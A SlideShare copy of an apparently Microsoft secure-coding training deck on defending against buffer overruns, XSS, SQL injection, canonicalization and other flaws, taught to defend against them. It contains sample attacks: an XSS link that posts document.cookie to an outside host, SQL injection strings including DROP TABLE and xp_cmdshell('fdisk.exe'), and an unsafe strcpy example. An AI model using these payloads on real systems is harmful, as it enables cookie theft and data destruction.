SlideShare a Scribd company logo
Writing Secure Code – Threat Defense
What We Will Cover The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-Site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Session Prerequisites Development experience with Microsoft® Visual Basic®, Microsoft Visual C++®, or C# Level 200
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
The Need for Secure Code “ US port 'hit by UK hacker’” “ Several corporations said they lost $10 million in a single break-in ” “ Up to 1,500 Web sites could have been affected by a recent hacker attack” “ Piracy cost more than 4,300 jobs and $850 million in damage ” “ Sobig virus accounted for $30 billion worth of economic damages worldwide ” “ Attacks will cost the world economy a whopping $1.6 trillion (US$) this year”
Threat Scenarios Employees connecting to company’s network Wired, wireless, dial-up, VPN Company PCs, personally-owned systems Employees connecting to other networks Internet hotspots, partner networks, broadband Partners connecting to company’s network Local vs. federated authentication Anonymous guests  New scenarios and new threats
Potential Attackers Thieves Confidence tricksters Vandals Criminals Hackers It should be no surprise that attacks occur!
Common Types of Attack Connection Fails Organizational Attacks Restricted Data Accidental Breaches in Security Automated Attacks Hackers Viruses,  Trojan Horses,  and Worms Denial of  Service (DoS) DoS
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
What Is a Buffer Overrun? Occurs when data exceeds the expected size and overwrites other values Exists primarily in unmanaged C/C++ code Includes four types:  Stack-based buffer overruns Heap overruns  V-table and function pointer overwrites Exception handler overwrites Can be exploited by worms
Possible Results of Buffer Overruns To perform denial of service attacks against servers Access violation Hacker’s Goal Possible Result To gain privileges for their own code To exploit vital business data To perform destructive actions Code Injection To disrupt the normal operation of software Instability
Stack-Based Buffer Overrun Example Top of Stack char[4] int Return address void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4];
Heap Overruns   Overwrite data stored on the heap Are harder to exploit than a buffer overrun strcpy xxxxxxx xxxxxxx Data Pointer Data Data Pointer Pointer
Defending Against Buffer Overruns (1 of 2) Be very cautious when using: strcpy strncpy CopyMemory MultiByteToWideChar Use the /GS compile option in Visual C++ to spot buffer overruns Use strsafe.h for safer buffer handling
Defending Against Buffer Overruns (2 of 2) Check all array indexes Use existing wrapper classes for safe array handling Check file path lengths using _MAX_PATH Use recognized file path processing methods, such as splitpath Use managed code, but pay attention to PInvoke and COM Interop
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Arithmetic Errors Occur when the limitations of a variable are exceeded Lead to serious runtime issues Are often overlooked and underestimated Include: Overflow – value too large for data type Underflow – value too small for data type
Defending Against Arithmetic Errors Be conscious of the limitations of your chosen data types Write defensive code that checks for overflows Consider writing safe, reusable functions Consider using a safe template class (if coding in C++)
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-Site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
What Is Cross-Site Scripting? A technique that allows hackers to: Execute malicious script in a client’s Web browser Insert <script>, <object>, <applet>, <form>, and <embed> tags Steal Web session information and authentication cookies Access the client computer Any Web page that renders HTML containing user input is vulnerable
Two Common Exploits of Cross-Site Scripting Attacking Web-based e-mail platforms and discussion boards Using HTML <form> tags to redirect private information
Form-Based Attacks (1 of 2) Response.Write(&quot;Welcome&quot; &  Request.QueryString(&quot;UserName&quot;))
Form-Based Attacks (2 of 2) <a href=http://www.contoso.msft/welcome.asp?name=   <FORM action=http://www. nwtraders.msft/data.asp    method=post id=“idForm”>   <INPUT name=“cookie” type=“hidden”>    </FORM>   <SCRIPT>   idForm.cookie.value=document.cookie;    idForm.submit();   </SCRIPT> > here </a>
Defending Against Cross-Site Scripting Attacks Do not: Trust user input Echo Web-based user input unless you have validated it Store secret information in cookies Do: Use the HttpOnly cookie option Use the <frame> security attribute Take advantage of ASP.NET features
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
What is SQL Injection?  SQL injection is: The process of adding SQL statements in user input Used by hackers to: Probe databases Bypass authorization Execute multiple SQL statements Call built-in stored procedures
Examples of SQL Injection If the ID variable is read directly from a Web form or Windows form textbox, the user could enter any of the following: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') -- sqlString = &quot;SELECT HasShipped FROM&quot; + &quot; OrderDetail WHERE OrderID ='&quot; + ID + &quot;'&quot;;
Defending Against SQL Injection Sanitize all input Consider all input as harmful until proven otherwise Look for valid data and reject everything else Consider the use of regular expressions to remove unwanted characters Run with least privilege Never execute as “sa” Restrict access to built-in stored procedures Use stored procedures or SQL parameterized queries to access data Do not echo ODBC errors
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization   Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Canonicalization Issues There is usually more than one way to name something Alternate representations exist for: File names URLs Devices (such as printers) Hackers may exploit code that makes decisions based on file names or URLs
Canonicalization Issues Example 1 – File Names MyLongFile.txt MyLongFile.txt. MyLong~1.txt MyLongFile.txt::$DATA
There are many ways to represent characters on the Internet Canonicalization Issues Example 2 – Character Representation http://www.microsoft.com/technet/security Is the same as -  http://www %2e microsoft %2 ecom %2f technet %2f security http://www.microsoft.com %c0%af technet %c0%af security http://www %25%32%65 microsoft.com/technet/security http://172.43.122.12 = http://2888530444
Defending Against Canonicalization Issues Use file system security to restrict access to private data Never make a decision based on a name Disable the IIS Parent Paths setting
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Cryptography Weaknesses Inappropriate use of algorithms Creating your own Using weak ones  Incorrect application Failure to keep keys secure Insecure storage  Extensive duration of use The human factor I need three of the above to decrypt your data! Key Plaintext Ciphertext Algorithm
Defending Against Cryptography Weaknesses Recycle keys periodically Use ACLs to restrict access to keys Store keys on an external device Use SACLs to monitor activities Use larger keys to provide increased security Use DPAPI to simplify key management, if possible Do not implement your own cryptographic routines
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues   Defending Against Denial of Service
Unicode Issues Common mistakes Treating a Unicode character as a single byte Miscalculating required buffer size Misusing MultiByteToWideChar  Validating data before conversion, but not afterwards Results Buffer overruns Potentially dangerous character sequences slipping through your validation routines
Defending Against Unicode Issues Calculate buffer sizes using sizeof (WCHAR)  Be aware of GB18030 standards (4 bytes per character) Convert from Unicode to ASCII and then validate Use IsNLSDefinedString during validation Use MultiByteToWideChar correctly to provide a sufficient buffer
Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Denial of Service Attacks CPU starvation Memory starvation Resource starvation Network starvation
Defending Against Denial of Service Attacks Consider security as a design feature Distrust user input Fail intelligently Test security
Session Summary The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues  Defending Against Denial of Service
Next Steps Stay informed and Sign up for security bulletins. Get the latest Microsoft security guidance. Get further Security Training. Get expert  help  with a Microsoft® Certified Partner. Microsoft Security Site (all audiences) http://www.microsoft.com/uk/security TechNet Security Site (IT professionals) http://www.microsoft.com/uk/technet/ MSDN Security Site (developers) http://www.microsoft.com/uk/msdn/
 

More Related Content

Writing Secure Code – Threat Defense

  • 1. Writing Secure Code – Threat Defense
  • 2. What We Will Cover The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-Site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 3. Session Prerequisites Development experience with Microsoft® Visual Basic®, Microsoft Visual C++®, or C# Level 200
  • 4. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 5. The Need for Secure Code “ US port 'hit by UK hacker’” “ Several corporations said they lost $10 million in a single break-in ” “ Up to 1,500 Web sites could have been affected by a recent hacker attack” “ Piracy cost more than 4,300 jobs and $850 million in damage ” “ Sobig virus accounted for $30 billion worth of economic damages worldwide ” “ Attacks will cost the world economy a whopping $1.6 trillion (US$) this year”
  • 6. Threat Scenarios Employees connecting to company’s network Wired, wireless, dial-up, VPN Company PCs, personally-owned systems Employees connecting to other networks Internet hotspots, partner networks, broadband Partners connecting to company’s network Local vs. federated authentication Anonymous guests New scenarios and new threats
  • 7. Potential Attackers Thieves Confidence tricksters Vandals Criminals Hackers It should be no surprise that attacks occur!
  • 8. Common Types of Attack Connection Fails Organizational Attacks Restricted Data Accidental Breaches in Security Automated Attacks Hackers Viruses, Trojan Horses, and Worms Denial of Service (DoS) DoS
  • 9. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 10. What Is a Buffer Overrun? Occurs when data exceeds the expected size and overwrites other values Exists primarily in unmanaged C/C++ code Includes four types: Stack-based buffer overruns Heap overruns V-table and function pointer overwrites Exception handler overwrites Can be exploited by worms
  • 11. Possible Results of Buffer Overruns To perform denial of service attacks against servers Access violation Hacker’s Goal Possible Result To gain privileges for their own code To exploit vital business data To perform destructive actions Code Injection To disrupt the normal operation of software Instability
  • 12. Stack-Based Buffer Overrun Example Top of Stack char[4] int Return address void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4];
  • 13. Heap Overruns Overwrite data stored on the heap Are harder to exploit than a buffer overrun strcpy xxxxxxx xxxxxxx Data Pointer Data Data Pointer Pointer
  • 14. Defending Against Buffer Overruns (1 of 2) Be very cautious when using: strcpy strncpy CopyMemory MultiByteToWideChar Use the /GS compile option in Visual C++ to spot buffer overruns Use strsafe.h for safer buffer handling
  • 15. Defending Against Buffer Overruns (2 of 2) Check all array indexes Use existing wrapper classes for safe array handling Check file path lengths using _MAX_PATH Use recognized file path processing methods, such as splitpath Use managed code, but pay attention to PInvoke and COM Interop
  • 16. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 17. Arithmetic Errors Occur when the limitations of a variable are exceeded Lead to serious runtime issues Are often overlooked and underestimated Include: Overflow – value too large for data type Underflow – value too small for data type
  • 18. Defending Against Arithmetic Errors Be conscious of the limitations of your chosen data types Write defensive code that checks for overflows Consider writing safe, reusable functions Consider using a safe template class (if coding in C++)
  • 19. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-Site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 20. What Is Cross-Site Scripting? A technique that allows hackers to: Execute malicious script in a client’s Web browser Insert <script>, <object>, <applet>, <form>, and <embed> tags Steal Web session information and authentication cookies Access the client computer Any Web page that renders HTML containing user input is vulnerable
  • 21. Two Common Exploits of Cross-Site Scripting Attacking Web-based e-mail platforms and discussion boards Using HTML <form> tags to redirect private information
  • 22. Form-Based Attacks (1 of 2) Response.Write(&quot;Welcome&quot; & Request.QueryString(&quot;UserName&quot;))
  • 23. Form-Based Attacks (2 of 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a>
  • 24. Defending Against Cross-Site Scripting Attacks Do not: Trust user input Echo Web-based user input unless you have validated it Store secret information in cookies Do: Use the HttpOnly cookie option Use the <frame> security attribute Take advantage of ASP.NET features
  • 25. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 26. What is SQL Injection? SQL injection is: The process of adding SQL statements in user input Used by hackers to: Probe databases Bypass authorization Execute multiple SQL statements Call built-in stored procedures
  • 27. Examples of SQL Injection If the ID variable is read directly from a Web form or Windows form textbox, the user could enter any of the following: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') -- sqlString = &quot;SELECT HasShipped FROM&quot; + &quot; OrderDetail WHERE OrderID ='&quot; + ID + &quot;'&quot;;
  • 28. Defending Against SQL Injection Sanitize all input Consider all input as harmful until proven otherwise Look for valid data and reject everything else Consider the use of regular expressions to remove unwanted characters Run with least privilege Never execute as “sa” Restrict access to built-in stored procedures Use stored procedures or SQL parameterized queries to access data Do not echo ODBC errors
  • 29. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 30. Canonicalization Issues There is usually more than one way to name something Alternate representations exist for: File names URLs Devices (such as printers) Hackers may exploit code that makes decisions based on file names or URLs
  • 31. Canonicalization Issues Example 1 – File Names MyLongFile.txt MyLongFile.txt. MyLong~1.txt MyLongFile.txt::$DATA
  • 32. There are many ways to represent characters on the Internet Canonicalization Issues Example 2 – Character Representation http://www.microsoft.com/technet/security Is the same as - http://www %2e microsoft %2 ecom %2f technet %2f security http://www.microsoft.com %c0%af technet %c0%af security http://www %25%32%65 microsoft.com/technet/security http://172.43.122.12 = http://2888530444
  • 33. Defending Against Canonicalization Issues Use file system security to restrict access to private data Never make a decision based on a name Disable the IIS Parent Paths setting
  • 34. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 35. Cryptography Weaknesses Inappropriate use of algorithms Creating your own Using weak ones Incorrect application Failure to keep keys secure Insecure storage Extensive duration of use The human factor I need three of the above to decrypt your data! Key Plaintext Ciphertext Algorithm
  • 36. Defending Against Cryptography Weaknesses Recycle keys periodically Use ACLs to restrict access to keys Store keys on an external device Use SACLs to monitor activities Use larger keys to provide increased security Use DPAPI to simplify key management, if possible Do not implement your own cryptographic routines
  • 37. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 38. Unicode Issues Common mistakes Treating a Unicode character as a single byte Miscalculating required buffer size Misusing MultiByteToWideChar Validating data before conversion, but not afterwards Results Buffer overruns Potentially dangerous character sequences slipping through your validation routines
  • 39. Defending Against Unicode Issues Calculate buffer sizes using sizeof (WCHAR) Be aware of GB18030 standards (4 bytes per character) Convert from Unicode to ASCII and then validate Use IsNLSDefinedString during validation Use MultiByteToWideChar correctly to provide a sufficient buffer
  • 40. Agenda The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 41. Denial of Service Attacks CPU starvation Memory starvation Resource starvation Network starvation
  • 42. Defending Against Denial of Service Attacks Consider security as a design feature Distrust user input Fail intelligently Test security
  • 43. Session Summary The Need For Secure Code Defending Against Memory Issues Defending Against Arithmetic Errors Defending Against Cross-site Scripting Defending Against SQL Injection Defending Against Canonicalization Issues Defending Against Cryptography Weaknesses Defending Against Unicode Issues Defending Against Denial of Service
  • 44. Next Steps Stay informed and Sign up for security bulletins. Get the latest Microsoft security guidance. Get further Security Training. Get expert help with a Microsoft® Certified Partner. Microsoft Security Site (all audiences) http://www.microsoft.com/uk/security TechNet Security Site (IT professionals) http://www.microsoft.com/uk/technet/ MSDN Security Site (developers) http://www.microsoft.com/uk/msdn/
  • 45.